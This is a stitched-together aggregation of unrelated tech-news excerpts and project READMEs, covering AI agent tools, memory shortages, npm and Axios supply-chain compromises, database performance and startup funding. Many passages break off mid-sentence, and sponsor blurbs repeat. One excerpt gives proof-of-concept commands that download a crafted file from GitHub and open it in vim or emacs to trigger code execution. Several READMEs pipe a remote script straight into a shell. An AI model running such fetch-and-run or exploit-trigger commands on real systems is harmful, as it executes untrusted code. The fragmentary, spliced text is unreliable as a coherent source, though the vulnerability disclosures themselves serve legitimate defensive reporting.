RamAIn builds the world's fastest computer-use agents for enterprise work.

FoundersRamAIn was founded by Shourya Vir Jain (CEO) and Vansh Ramani (CTO), who met at IIT Delhi and dropped out to build AI-native automation for enterprise workflows.

Shourya previously worked at McKinsey, where he saw firsthand how much enterprise work still depends on manual interaction with legacy systems.

He is also a FIDE-rated chess player (2118), was ranked top-20 globally under 16, having previously built and scaled an enterprise AI company to over 6-figures in ARR.

Together, they started RamAIn to build the fastest computer-use agents for enterprise work - combining deep research with production-grade sys…

AI-powered app generator that builds real, shippable Tauri applications from natural language.

You describe what you want in plain English, and Raincast builds a fully functional native app:with a real UI, backend commands, file system access, and system integration.

This means the preview behaves like the real app: file system access, shell commands, system info all work during development, not just after shipping.

Or build manually:git clone https://github.com/tihiera/raincast.git cd raincast npm install npm run tauri dev # development npm run tauri build # production binaryWindowsDownload Raincast_x.x.x_x64-setup.exe from Releases and run it.

Development# Start dev mode (frontend + Tauri…

TimesFMTimesFM (Time Series Foundation Model) is a pretrained time-series foundation model developed by Google Research for time-series forecasting.

Latest Model Version: TimesFM 2.5Archived Model Versions:1.0 and 2.0: relevant code archived in the sub directory v1 .

You can pip install timesfm==1.3.0 to install an older version of this package to load them.

Update - Oct. 29, 2025Added back the covariate support through XReg for TimesFM 2.5.

This repo will be under construction over the next few weeks toadd support for an upcoming Flax version of the model (faster inference).

Sony is temporarily no longer accepting orders for its CFexpress and SD memory cards.

A severe shortage of NAND flash, driven by the enormous demand for it to expand AI data centers, makes procurement impossible.

Sony is currently unable to fulfill orders for CFexpress Type A, CFexpress Type B, and SDXC/SDHC memory cards.

The reason is simple: the Japanese company can no longer procure sufficient NAND flash memory.

Thus, memory cards are set to become the next victim of an ever-growing shortage of all forms of memory outside of AI applications.

Following backlash from developers, GitHub has removed Copilot's ability to stick ads - what it calls "tips" - into any pull request that invokes its name.

"I wasn't even aware that the GitHub Copilot Review integration had the ability to edit other users' descriptions and comments," Manson told us.

Letting Copilot touch PRs it didn't create, but is mentioned in, on the other hand, is new behavior that hasn't really worked out.

"[When] we added the ability to have Copilot work on any PR by mentioning it the behaviour became icky," Woodward said.

"We've now disabled these tips in pull requests created by or touched by Copilot, so you won't see this happen again," Rogers added.

Semantic Agent Cognitive Layer (MVP)Local Rust service for deterministic code retrieval by symbol, span, and logic graph.

Optional Token Tracking Add-OnAn optional local companion in this repository can track token usage per task across retrieve , ide_autoroute , and edit .

: BFS over dependency graph by symbol.

: symbol with local logic and dependency neighbors.

get_reasoning_context : hybrid logic + dependency context with deterministic ordering.

Today, we’re previewing the fastest way to run Ollama on Apple silicon, powered by MLX, Apple’s machine learning framework.

This results in a large speedup of Ollama on all Apple Silicon devices.

Get startedDownload Ollama 0.19This preview release of Ollama accelerates the new Qwen3.5-35B-A3B model, with sampling parameters tuned for coding tasks.

Claude Code:ollama launch claude --model qwen3.5:35b-a3b-coding-nvfp4OpenClaw:ollama launch openclaw --model qwen3.5:35b-a3b-coding-nvfp4Chat with the model:ollama run qwen3.5:35b-a3b-coding-nvfp4Future modelsWe are actively working to support future models.

For users with custom models fine-tuned on supported architectures, we will introduce an e…

Google has led the responsible transition to post-quantum cryptography since 2016.

In a new whitepaper, we show that future quantum computers may break the elliptic curve cryptography that protects cryptocurrency and other systems with fewer qubits and gates than previously realized.

We want to raise awareness on this issue and are providing the cryptocurrency community with recommendations to improve security and stability before this is possible, including transitioning blockchains to post-quantum cryptography (PQC), which is resistant to quantum attacks.

To share this research responsibly, we engaged with the U.S. government and developed a new method to describe these vulnerabilities vi…

A developer running a routine npm install or npm update would have no reason to suspect the package was deploying malware.

Using this access, the attacker published malicious builds across both the 1.x and 0.x release branches simultaneously, maximizing the number of projects exposed.

Any workflow that executed npm install with these versions should have all injected secrets rotated.

When a compromised package is discovered, instantly understand the blast radius — which repos, which PRs, and which teams are affected.

Reveals whether malicious postinstall scripts executed exfiltration attempts or contacted suspicious domains — even when the malware self-deletes its own evidence afterward.

Mr. Chatterbox is a (weak) Victorian-era ethically trained model you can run on your own computerTrip Venturella released Mr. Chatterbox, a language model trained entirely on out-of-copyright text from the British Library.

Here’s how he describes it:Mr. Chatterbox is a language model trained entirely from scratch on a corpus of over 28,000 Victorian-era British texts published between 1837 and 1899, drawn from a dataset made available by the British Library.

The difference is, of course, that unlike GPT-2, Mr. Chatterbox is trained entirely on historical data.

What would a model trained on out-of-copyright text be like to chat with?

Trip trained the model using Andrej Karpathy’s nanochat, s…

Put more simply, NASA is going to fly Artemis II based on vibes, hoping that whatever happened to the heat shield on Artemis I won’t get bad enough to harm the crew on Artemis II.

What makes the situation even more frustrating is the fact that, by the program’s own logic, there’s no reason to fly Artemis II with a crew at all.

In the original scheme for Artemis, Artemis II was the only opportunity to fly Orion with astronauts on board before the lunar landing attempt on Artemis III.

If the Artemis II crew dies during re-entry, we’ll get another lavishly researched report laying out contributory factors that are plainly visible to anyone following the program right now.

It’s likely…

For those affected, this may have resulted in potentially authenticated data being served to unauthenticated users.

During this window, cached responses may have been served to users other than the original requester, which meant potentially authenticated data is served to unauthenticated users.

As a result, for those applications serving on Railway, your users may have seen pages intended for other users.

On Railway, CDN caching is opt-in.

Domains without CDN enabled will always route requests directly to your application.

Cuts Claude output verbosity by ~63%.

The ProblemWhen you use Claude Code, every word Claude generates costs tokens.

Claude Code reads it automatically.

At ScaleUsage Tokens Saved/Day Monthly Savings (Sonnet) 100 prompts/day ~9,600 tokens ~$0.86 1,000 prompts/day ~96,000 tokens ~$8.64 3 projects combined ~288,000 tokens ~$25.92Before vs AfterWithout CLAUDE.md - Code Review:Great question!

If you explicitly ask for a detailed explanation or verbose output, Claude will follow your instruction - the file never fights you.

📍 PegboardAI-generated 3D-printable pegboard toy from a hand-drawn sketch.

The current set is a 40 mm system with seven play pieces, one tuned peg, four gears, and two printable boards.

Four smooth gears in models/gears/, tuned to mesh on the 40 mm peg grid.

Two printable boards in models/boards/ plus the tuned peg in models/pieces/.

.venv/bin/activate pip install -r requirements.txt python scripts/generate_pegboard_shapes.py python scripts/generate_pegboard_gears.py python scripts/generate_pegboard_board.py python scripts/generate_repository_assets.py

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Start your verification todayToday, we’re starting to roll out Android developer verification to all developers in both the new Android Developer Console and Play Console.

If you only distribute apps outside of Google Play, you can create an account in Android Developer Console today.

If you're on Google Play, check your Play Console account for updates over the next few weeks.

For Play developers: If you've completed Play Console's developer verification requirements, your identity is already verified and we'll automatically register eligible Play apps for you.

The Android developer verification page in your Play Console will show the registration status for each of your apps.

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With all the recent advancements in coding models, we wanted to see how far we can push an autonomous agent building integrations with external APIs.

TL;DR: Our background agent isn’t perfect, but it reliably generates ~200 integrations across five APIs (Google Calendar, Drive, Sheets, HubSpot, and Slack) in 15 minutes and less than $20 in token costs.

This post is about what it took to get there, what broke along the way, and what we learned building a background coding agent for API integrations.

Try it yourself: Our Nango AI builder lets you build custom API integrations with the skills from this article.

As we learned new best practices from dogfooding this with our background agent, …

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Try before you install Practice slash commands, hooks, and skills in a terminal simulator right in your browser.

No setup, no API key.

Build real configs Interactive forms generate CLAUDE.md, hooks, and plugin configs you can copy straight into your project.

In the event of Chinese aggression against Taiwan, will the Israelis take out Chinese air-defense systems for the United States too?

As for Israel, the United States committed to its defense out of a sense of moral responsibility after the Holocaust.

A United States concerned only with defense of its homeland and the Western Hemisphere would see nothing in the region worth fighting for.

This, more than raw might, was what made the United States the most influential power in history.

Nations that once bandwagoned with the United States will now remain aloof or align against it—not because they want to, but because the United States leaves them no choice, because it will neither protect them …

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I'm betting on ATProto as a way to fix that, and not just for developers.

I also gave my own talk about OpenSocial.community, which is an ATProto app I recently built to create communities that can work across different ATProto applications.

Finally, a handful of us ATProto enthusiasts in the Portland area got together at the conference and kicked off ATProto PDX.

I’m spending my limited free time building on ATProto because I think this might be the way to create a more connected and more human internet.

Find others in the ATProto community who are doing the things you’re interested in.

We turned a MacBook into a touchscreen using only $1 of hardware and a little bit of computer vision.

Here’s the finished product:Finger DetectionThe first step in processing video frames is detecting the finger.

Mapping and CalibrationThe final step in processing the input is mapping the touch/hover point from webcam coordinates to on-screen coordinates.

After we collect data matching webcam coordinates with on-screen coordinates, we can estimate the homography robustly using RANSAC.

This gives us a projection matrix that maps webcam coordinates to on-screen coordinates.

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How Does Offline Bitcoin Signing Work Step by StepOffline Bitcoin signing means creating a valid transaction signature on a device that has zero internet connection — no Wi-Fi, no Bluetooth, no USB data channel.

What Is Offline Bitcoin Signing?

Offline signing eliminates that exposure and provides enhanced security by shrinking the attack surface to physical access only.

The signature is added back to the PSBT file, producing a signed Bitcoin transaction PSBT ready for broadcast.

Step 4 — Move the signed PSBT back onlineThe signed PSBT travels back across the air gap the same way it came — SD card or QR code.

A supply chain attack targeting the widely used HTTP client Axios has introduced a malicious dependency into specific npm releases, including [email protected] and [email protected] .

Release Appears Outside Normal Axios Workflow#The affected Axios version does not appear in the project’s official GitHub tags.

Malicious Dependency Published Minutes Earlier#The malicious package [email protected] was published on March 30, 2026 at 23:59:12 UTC.

The Axios update introduces a minimal change, primarily adding the malicious dependency.

Inside the malicious plain-crypto-js #Socket's automated scanner performed full static analysis of the trojanized dependency at the center of this attack.

Pull up git log --oneline on a project—or open the Magit log with l l from the status buffer and you might see two slightly different stories.

Think of all the information you might glean from a well-documented commit log.

What a well-told commit history looks like Here is an example commit log for a short story project, read from oldest to newest.

Commit data tells a second story Beyond the messages, the data inside each commit tells you something about what kind of work you were doing.

Run this command to see the number of lines changed in each commit: git log --oneline --stat See where your patterns lie.

I manually picked functions I consider important

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EXPLAIN WITH rand AS ( SELECT id, random() AS r FROM orders ) SELECT * FROM rand WHERE r < 0 .

01 ;QUERY PLAN ----------------------------------------------------------------------- CTE Scan on rand (cost=2105.00..4355.00 rows=33333 width=12) Filter: (r < '0.01'::double precision) CTE rand -> Seq Scan on orders (cost=0.00..2105.00 rows=100000 width=12) (4 rows)Even though rand is referenced only once, the CTE Scan is there.

Decision matrixHere's the full picture across PostgreSQL versions:Condition PG ≤ 11 PG 12–16 PG 17–18 Single ref, pure SELECT Materialized Inlined Inlined Multiple refs, pure SELECT Materialized Materialized Materialized (better stats) VOLATILE function Materialized Mate…

🎥 Demo VideoTrue protocol portability: Cocoa-Way rendering Linux apps from OrbStack via Unix sockets.

Build from Source# Install dependencies brew install libxkbcommon pixman pkg-config # Clone and build git clone https://github.com/J-x-Z/cocoa-way.git cd cocoa-way cargo build --release🚀 Quick Start⚠️ Required: You must install waypipe-darwin to connect Linux apps.

❓ TroubleshootingSSH: "remote port forwarding failed" A stale socket file exists on the remote host.

Our run_waypipe.sh script handles this automatically with -o StreamLocalBindUnlink=yes .

If running manually: waypipe ssh -o StreamLocalBindUnlink=yes user@host ...🤝 ContributingContributions welcome!

There are now two supply chain attacks in a week.

A few days ago it was litellm (Pypi) and now its axios (npm) .

It started like this:PoC:vim -version # VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13) wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md vim vim.md cat /tmp/calif-vim-rce-pocVim maintainers fixed the issue immediately.

The original prompt was simple:Somebody told me there is an RCE 0-day when you open a file.

But the story didn’t end there:PoC:wget https://github.com/califio/publications/raw/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/emacs-poc.tgz tar -xzpvf emacs-poc.tgz emacs emacs-poc/a.txt cat /tmp/pwnedWe immediately reported the bug to GNU Emacs maintainers.

And friends, to celebrate this historic …

Today, the issue we are observing is not a matter of technological competition, but of legal compliance.

Based on publicly available information, the “Euro-Office” project uses technology derived from ONLYOFFICE editors in violation of our licensing terms and of international intellectual property law.

Accordingly, any derivative work based on the original ONLYOFFICE code may be created and distributed only in compliance with all applicable license terms, including the additional conditions.

Under Section 8 of AGPLv3, any breach of the license terms results in the automatic termination of the rights granted thereunder.

Our positionThe “Euro-Office” initiative represents an evident and mater…

Rust's next-generation trait solver [LWN subscriber-only content]Rust's compiler team has been working on a long-term project to rewrite the trait solver — the part of the compiler that determines which concrete function should be called when a programmer uses a trait method that is implemented for multiple types.

Figuring out which trait implementation is relevant to a particular type is the job of the compiler's trait solver.

Currently, crate authors need to work around this trait resolution problem by restructuring their interfaces to avoid creating loops in the trait solver.

The rewrite, called the next-generation trait solver, makes use of caching to both speed up trait solving and to …

The (diskless) cpu server is provided by running qemu, booted from only a floppy (so without local storage).

This is important: the authentication server, the file server, and the cpu server will all be configured with the same authentication id, domain & key.

To make your cpu server useful after it booted, be sure to setup DHCP so the cpu server will get a lease (preferably with a fixed ip address).

Making a cpu server floppy boot image, as used to boot the diskless cpu server, is not hard once you have a cpu server up and running.

NOTE: the fs= and auth= attributes specify the ip addresses of the file server and authentication server.

Our industry has agreed for decades about the ethics of vulnerability research.

They point to the failure of things like California’s SB-1047 and national executive policy that recognizes dual-use benefits for AI security research.

That leaves room for human vulnerability research at the very highest end of the spectrum of sophistication.

Vulnerability research outcomes now show up in the model cards from the frontier labs.

So I think we’re living in the last fleeting moments where there’s any uncertainty that AI agents will supplant most human vulnerability research.

Instead of using a third party provider, you can use your own cloud storage, such as Google Drive, to store your private git repositories.

This approach works with Google Drive, MS One Drive, iCloud, DropBox, Backblaze or any cloud storage that has a desktop client.

The Strategy: The “Local-Remote” ArchitectureTo avoid sync conflicts, never work directly inside the Google Drive folder.

Instead, we use a Bare Repository on Google Drive as a private “Remote,” and push to it from a local workspace on your SSD.

You can git push or git pull as you would from github.

We might see the crossover point move, so joins are more expensive in the leftmost part of our graphs.

In his book, Kimball makes the case that data models for analytical purposes should use joins to access data.

If you take one thing away from this post - it should be this:"Joins are NOT expensive compared with the alternatives"We have seen that even when you read the entire table - join are often cheaper than One Big Table.

We have so far only seen a large (1B row) and a small, 100_000 row table).

Spoiler: The gap between wide tables and joins becomes ever larger and joins win even bigger when we use filters.

Quratulain Rehbar / Nikkei Asia:

Official data shows India's smartphone exports hit $11B in H1 FY2026, up 55% YoY; analysts warn the Iran war could trigger a 22% to 25% drop in the coming weeks — NEW DELHI — India's fast-growing smartphone export sector is facing its first geopolitical test, as tensions …

Financial Times:

Sources: London-based chip startup Fractile is in talks to raise over $200M from Accel and others at a $1B valuation; Fractile raised a $15M seed round in 2024 — Company is part of growing cohort of UK groups developing faster AI processors — London-based start-up Fractile is in talks …

Issie Lapowsky / Bloomberg:

A look at Babel Audio, which pairs anonymous strangers to record their conversations, starting at $17/hour, and bundles those recordings into AI training data — They vent, confess and role-play with strangers, all to help machines learn how to sound human.

Thomas H. Ptacek / sockpuppet.org:

AI coding agents will drastically alter both the practice and the economics of exploit development, automating the discovery of zero-day vulnerabilities — For the last two years, technologists have ominously predicted that AI coding agents will be responsible for a deluge of security vulnerabilities.

Cecilia Kang / New York Times:

California Gov. Gavin Newsom signs a first-of-its-kind executive order requiring safety and privacy guardrails from AI companies that contract with the state — Gov. Gavin Newsom, a Democrat, issued an order requiring safety and privacy guardrails for artificial intelligence companies contracting with the state.

Todd Bishop / GeekWire:

Social gaming startup Rec Room is shutting down its service on June 1, saying it could not find a path to profitability; it was valued at $3.5B in December 2021 — Rec Room, the Seattle-based social gaming company once valued at $3.5 billion, is shutting down its platform on June 1 …

Axios:

Inside David Sacks' new role shaping Trump's AI agenda; officials say Sriram Krishnan is taking on a position at the National Economic Council to focus on AI — - The move lands as Republicans grow increasingly wary of an all-in attitude on AI development and begin to question …

Lola Murti / CNBC:

Micron shares closed down 10% on Monday and are now down 30% since Micron's blowout earnings report on March 18; Sandisk fell 7% and Western Digital dropped 9% — Micron shares plummeted 10% on Monday, continuing the memory maker's significant post-earnings sell-off.

Vaibhav (VB) Srivastav / @reach_vb:

OpenAI introduces a Codex plugin for Claude Code, letting users invoke Codex from inside Claude Code to review code or delegate tasks — If you already use Claude Code, this Codex plugin gives you a simple way to pull Codex into the same workflow. It is useful for three things …

Eric Newcomer / Newcomer:

Leaked January presentation: Coatue estimated that Anthropic would lose $14B in EBITDA on $18B in revenue in 2026 and reach a $1.995T valuation in 2030 — We talk about it & more on the Cerebral Valley Show — In a presentation to prospective investors in January, Coatue offered a rare look …

Qwen:

Alibaba releases its Qwen3.5-Omni omnimodal LLM with support for 10+ hours of audio input, saying the Plus variant surpasses Gemini 3.1 Pro on audio benchmarks — Qwen3.5-Omni is Qwen's latest generation of fully omnimodal LLM, supporting the understanding of text, images, audio, and audio-visual content.

Katherine Bindley / Wall Street Journal:

Levels.fyi: median base-salary offers for US software engineers at VC-backed startups have risen 25% to $200K since 2022; total compensation has risen just 18% — Young tech companies once might have complemented lower salaries with generous equity packages. Now they're upping base pay.

Ryan Christoffel / 9to5Mac:

Apple Intelligence is rolling out in China, according to user reports, after launching in the US in October 2024 — Apple Intelligence first launched in the US in October 2024, but now after a nearly 18-month wait, Apple's AI features appear to be rolling out in China too.

Kara Scannell / CNN:

Sources: US prosecutors are exploring whether some prediction market bets, including on the capture of Nicolás Maduro, violated insider trading and other laws — Federal prosecutors in Manhattan are exploring whether certain lucrative bets placed on prediction markets …

Aisha Malik / TechCrunch:

Meta is testing an Instagram Plus subscription in a few countries, offering features including anonymous Story viewing and extended 48-hour Story durations — Meta has begun testing a premium subscription on Instagram in a few countries, the company confirmed to TechCrunch on Monday.

Emily Birnbaum / Bloomberg:

Quinnipiac poll: 55% of Americans say AI will do more harm than good in their day-to-day lives, and 65% oppose building data centers in their community — Americans are increasingly turning against artificial intelligence, with growing majorities saying they fear the fast-moving technology …

Financial Times:

Fermi shares drop 12%+ after the data center real estate company reported a $486M YTD net loss, amid concerns over a lack of a tenant for its Texas data center — Data centre property group faces investor concerns around lack of tenant revenue — Shares in data centre real estate group Fermi plunged …

Meir Orbach / CTech:

Tel Aviv-based Sett, which builds AI agents to automate game marketing, raised a $30M Series B led by Greenfield Partners, bringing its total funding to $57M — The Israeli startup targets billions spent on user acquisition with agent-based automation. — Sett, which develops …

Ben Weiss / Fortune:

Valinor, which aims to use smart contracts to replace manual lending processes in the private credit industry, raised a $25M seed led by Castle Island Ventures — Many corners of finance—stock exchanges, banks, and payments firms—are embracing digital assets, but the private credit industry …

SuperpowersSuperpowers is a complete software development workflow for your coding agents, built on top of a set of composable "skills" and some initial instructions that make sure your agent uses them.

As soon as it sees that you're building something, it doesn't just jump into trying to write code.

Claude Code or Cursor have built-in plugin marketplaces.

Enforces RED-GREEN-REFACTOR: write failing test, watch it fail, write minimal code, watch it pass, commit.

To contribute:Fork the repository Create a branch for your skill Follow the writing-skills skill for creating and testing new skills Submit a PRSee skills/writing-skills/SKILL.md for the complete guide.

Figma MCP Server GuideThe Figma MCP server brings Figma directly into your workflow by providing important design information and context to AI agents generating code from Figma design files.

By using the Figma MCP server and the related resources (including these skills), you agree to the Figma Developer Terms.

CursorThe recommended way to set up the Figma MCP server in Cursor is by installing the Figma Plugin, which includes MCP server settings as well as Agent Skills for common workflows.

If it does, you can manually add the Figma MCP server using this configuration:{ "mcpServers" : { "figma" : { "url" : " https://mcp.figma.com/mcp " } } }Prompting your MCP clientThe Figma MCP server int…

Pick Your Style:Awesome Claude CodeA selectively curated list of skills, agents, plugins, hooks, and other amazing tools for enhancing your Claude Code workflow.

Tooling 🧰Tooling denotes applications that are built on top of Claude Code and consist of more components than slash-commands and CLAUDE.md filesGeneralIDE IntegrationsClaude Code Chat by andrepimenta - An elegant and user-friendly Claude Code chat interface for VS Code.

Usage MonitorsCC Usage by ryoppippi - Handy CLI tool for managing and analyzing Claude Code usage, based on analyzing local Claude Code logs.

Claude Code Usage Monitor by Maciek-roboblog - A real-time terminal-based tool for monitoring Claude Code token usage.

Clau…

大语言模型（Large Language Model, LLM）的出现，引发了全球范围内对 AI 的空前关注。无论是 ChatGPT、DeepSeek 还是 Qwen，都以惊艳的效果让人真切感受到这场技术浪潮的冲击力。然而，动辄数百亿参数的模型规模，使得它们对个人设备而言不仅难以训练，甚至连部署都显得遥不可及。打开大模型的“黑盒子”，真正去理解其内部运作机制，本应是一件令人心潮澎湃的事。遗憾的是，绝大多数探索最终都止步于使用 LoRA 等技术对现有大模型做少量微调，学习一些新指令或特定任务。这更像是在教牛顿如何使用 21 世纪的智能手机——虽然有趣，却偏离了理解物理本质的初衷。与此同时，第三方的大模型框架与工具库，如 transformers / trl / peft 等，往往只暴露出高度抽象的接口。只需短短十几行代码，就可以完成“加载模型 + 加载数据集 + 推理 + 强化学习”的全流程训练。这种高效封装固然便利，却也在一定程度上把开发者与底层实现隔离开来，削弱了深入理解 LLM 核心代码的机会。我认为 “用乐高自己拼出一架飞机，远比坐在头等舱里飞行更让人兴奋”，然而更现实的问题是，互联网上充斥着大量付费课程和营销内容，用漏洞百出、一知半解的讲解包装所谓的 AI 教程。正因如此，本项目的初衷就是尽可能降低 LLM 的学习门槛，让每个人都能从理解每一行代码开始，从 0 开始亲手训练一个极小的语言模型。是的，从零开始训练，而不是仅仅停留在推理层面。最低只需不到 3 块钱的服务器成本，就能亲身体验从 0 到 1 构建一个语言模型的全过程。😊 一起感受创造的乐趣吧！在项目根目录：从…

The AI Scientist-v2: Workshop-Level AutomatedScientific Discovery via Agentic Tree Search📚 [Paper] | 📝 [Blog Post] | 📂 [ICLR2025 Workshop Experiment]Fully autonomous scientific research systems are becoming increasingly capable, with AI playing a pivotal role in transforming how scientific discoveries are made.

Unlike its predecessor (AI Scientist-v1), the AI Scientist-v2 removes reliance on human-authored templates, generalizes across Machine Learning (ML) domains, and employs a progressive agentic tree search, guided by an experiment manager agent.

Note: The AI Scientist-v2 doesn’t necessarily produce better papers than v1, especially when a strong starting template is available.

Run AI S…

Claude SubconsciousA background agent that whispers to Claude Code.

Important Claude Subconscious is an experimental way to extend Claude Code (a closed source / black box agent) with the power of Letta's memory system, tool access, and context engineering.

Claude Code forgets everything between sessions.

How It WorksAfter each response, the transcript is sent to a Letta agent via the Letta Code SDK.

Set TMPDIR to work around this Claude Code bug:mkdir -p ~ /.claude/tmp export TMPDIR= " $HOME /.claude/tmp "Add to your shell profile ( ~/.bashrc or ~/.zshrc ) to make permanent.

New in V2: Smarter query construction, two-phase supplemental search, free X search via bundled Bird client, --days=N flag, automatic model fallback.

Example: Top Claude Code Skills (Recommendations)Query: /last30days top claude code skillsResearch Output:The Claude Code skills ecosystem has exploded with marketplaces, curated lists, and viral skill announcements.

[Reddit + X icons merge] "Scans Reddit & X from the last 30 days" 2.

Node.js 22+ - For X search (bundled Twitter GraphQL client)- For X search (bundled Twitter GraphQL client) Bundled X auth - Set AUTH_TOKEN and CT0 for popup-free local X search- Set and for popup-free local X search Alternate X backend - Set XAI_API_KEY if bundle…

This free and open source project is designed to handle large-scale geographic data from the real world and generate detailed Minecraft worlds.

Choose your area on the map using the rectangle tool and select your Minecraft world - then simply click on Start Generation!

: Ensure that all components (e.g., data fetching, processing, and world generation) are cleanly separated into distinct modules for better maintainability and scalability.

Performance Optimization : We aim to keep a good performance and speed of the world generation process.

: We aim to keep a good performance and speed of the world generation process.

Complex/borderless tables, LaTeX formulas, and AI-generated picture/chart descriptions all via hybrid mode (hybrid mode)— Yes.

Complex/borderless tables, LaTeX formulas, and AI-generated picture/chart descriptions all via hybrid mode (hybrid mode) How do I use this for RAG?

Untagged PDF in → Tagged PDF out.

Auto-tagging generates the Tagged PDF; PDF/UA export is the final step (pipeline)— Converting Tagged PDF to PDF/UA-1 or PDF/UA-2 is an enterprise add-on.

We are committed to keeping the core accessibility pipeline (layout analysis → auto-tagging → Tagged PDF) free and open-source.

Install ffmpeg on your system, or set the IMAGEIO_FFMPEG_EXE environment variable.

To enablerepo look-ups and downloads online, pass 'local files only=False' as input.

Please check your internet connection and try again.

Trying to load the model directly from the local cache, if it exists.

解决方法：点击查看如何从网盘手动下载模型反馈建议 📢可以提交 issue 或者 pull request。许可证 📝点击查看 LICENSE 文件

Project N.O.M.A.D.

is a self-contained, offline-first knowledge and education server packed with critical tools, knowledge, and AI to keep you informed and empowered—anytime, anywhere.

For a barebones installation of the management application itself, the following minimal specs are required:Note: Project N.O.M.A.D.

Again, Project N.O.M.A.D.

The format is , where: Submit a pull request : Once your changes are ready, submit a pull request to the main repository.

TradingAgents: Multi-Agents LLM Financial Trading FrameworkNews[2026-03] TradingAgents v0.2.2 released with GPT-5.4/Gemini 3.1/Claude 4.6 model coverage, five-tier rating scale, OpenAI Responses API, Anthropic effort control, and cross-platform stability.

TradingAgents FrameworkTradingAgents is a multi-agent trading framework that mirrors the dynamics of real-world trading firms.

trading_graph import TradingAgentsGraph from tradingagents .

default_config import DEFAULT_CONFIG ta = TradingAgentsGraph ( debug = True , config = DEFAULT_CONFIG .

default_config import DEFAULT_CONFIG config = DEFAULT_CONFIG .

The Unified Toolchain for the Web runtime and package management, create, dev, check, test, build, pack, and monorepo task caching in a single dependencyVite+ is the unified entry point for local web development.

Vite+ is fully open-source under the MIT license.

Getting StartedInstall Vite+ globally as vp :For Linux or macOS:curl -fsSL https://vite.plus | bashFor Windows:irm https://viteplus.dev/install.ps1 | iexvp handles the full development lifecycle such as package management, development servers, linting, formatting, testing and building for production.

Configuring Vite+Vite+ can be configured using a single vite.config.ts at the root of your project:import { defineConfig } from 'vite-…

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Today, I am urging you to hold on to your hardware, as you may not be able to replace it affordably in the future.

Consumer hardware declineThe price of hardware is one thing, but value-for-money is another aspect that appears to be only getting worse from here on.

The uncomfortable truth is that the consumer hardware market is no longer the center of gravity, as we all were able to see at this year’s CES.

Whether that relief arrives in time to prevent lasting damage to the consumer hardware ecosystem remains an open question, though.

In addition, manufacturers are pivoting towards consumer hardware subscriptions, where you never own the hardware and in the most dystopian trajectory, consum…

Building on these insights, we trained Chroma Context-1, a 20B parameter agentic search model on over eight thousand synthetically generated tasks.

A key practical challenge for any multi-turn search agent is managing the context that accumulates over successive retrieval steps.

Final answer found is a binary score determined by whether the final answer exists in the set of output documents.

The embedding model, reranker, and search agent are currently trained independently: the agent learns to write queries against a fixed retrieval stack.

We presented Context-1, a 20B parameter agentic search model that reaches the Pareto frontier of retrieval performance with respect to cost and latency.

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In the meantime, enjoy some clips!

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Augment Code – Adam loves “Auggie” – Augment Code’s CLI that brings Augment’s context engine and powerful AI reasoning anywhere your code goes.

From building alongside you in the terminal to any part of your development workflow.

Squarespace – Turn your expertise into a business with the all-in-one platform for websites, services, and getting paid.

Use code CHANGELOG to save 10% on your first website purchase.

Notion – Custom Agents that automate the busywork so your team can focus on real work.

Augment Code – Adam loves “Auggie” – Augment Code’s CLI that brings Augment’s context engine and powerful AI reasoning anywhere your code goes.

From building alongside you in the terminal to any part of your development workflow.

Squarespace – Turn your expertise into a business with the all-in-one platform for websites, services, and getting paid.

Use code CHANGELOG to save 10% on your first website purchase.

Notion – Custom Agents that automate the busywork so your team can focus on real work.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Steve Ruiz joins us for a deep-dive on tldraw (a very good free whiteboard) and the business he’s built selling SDKs that help others build very good whiteboards (and more) with tldraw’s high-performance web canvas.

Along the way, we discuss the excitement/fear we share about keeping our agents busy, how SDK and infra companies are affected differently by agentic software than SaaS companies, how Steve is approaching the coming era of internal tooling, what will happen when we equip LLMs with an infinite canvas, and more.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Namespace – Speed up your development and testing workflows using your existing tools.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Fly.io – The home of Changelog.com — Deploy your apps close to your users — global Anycast load-balancing, zero-configuration private networking, hardware isolation, and instant WireGuard VPN connections.

Push-button deployments that scale to thousands of instances.

Check out the speedrun to get started in minutes.

Namespace – Speed up your development and testing workflows using your existing tools.

(Much) faster GitHub actions, Docker builds, and more.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Fly.io – The home of Changelog.com — Deploy your apps close to your users — global Anycast load-balancing, zero-configuration private networking, hardware isolation, and instant WireGuard VPN connections.

Check out the speedrun to get started in minutes.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Namespace – Speed up your development and testing workflows using your existing tools.

(Much) faster GitHub actions, Docker builds, and more.

At an unbeatable price.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Namespace – Speed up your development and testing workflows using your existing tools.

(Much) faster GitHub actions, Docker builds, and more.

Get an exclusive offer: up to 22% off NordLayer yearly plans plus 10% on top with the coupon code changelog-10-NORDLAYER .

Try it risk-free with a 14-day money-back guarantee at nordlayer.com/thechangelogFly.io – The home of Changelog.com — Deploy your apps close to your users — global Anycast load-balancing, zero-configuration private networking, hardware isolation, and instant WireGuard VPN connections.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Namespace – Speed up your development and testing workflows using your existing tools.

At an unbeatable price.

Squarespace – A website makes it real!

Use code CHANGELOG to save 10% on your first website purchase.

I'll break down how the Samsung Galaxy S26 compares to the S24 below to help you narrow down your pros and cons list.

You should buy the Samsung Galaxy S26 if...Prakhar Khanna/ZDNET1.

You're partial to battery life and longer update supportThe Samsung Galaxy S26 features a larger battery than the S24, at 4,300mAh compared to 4,000mAh.

You should buy the Samsung Galaxy S24 if...Kerry Wan/ZDNET1.

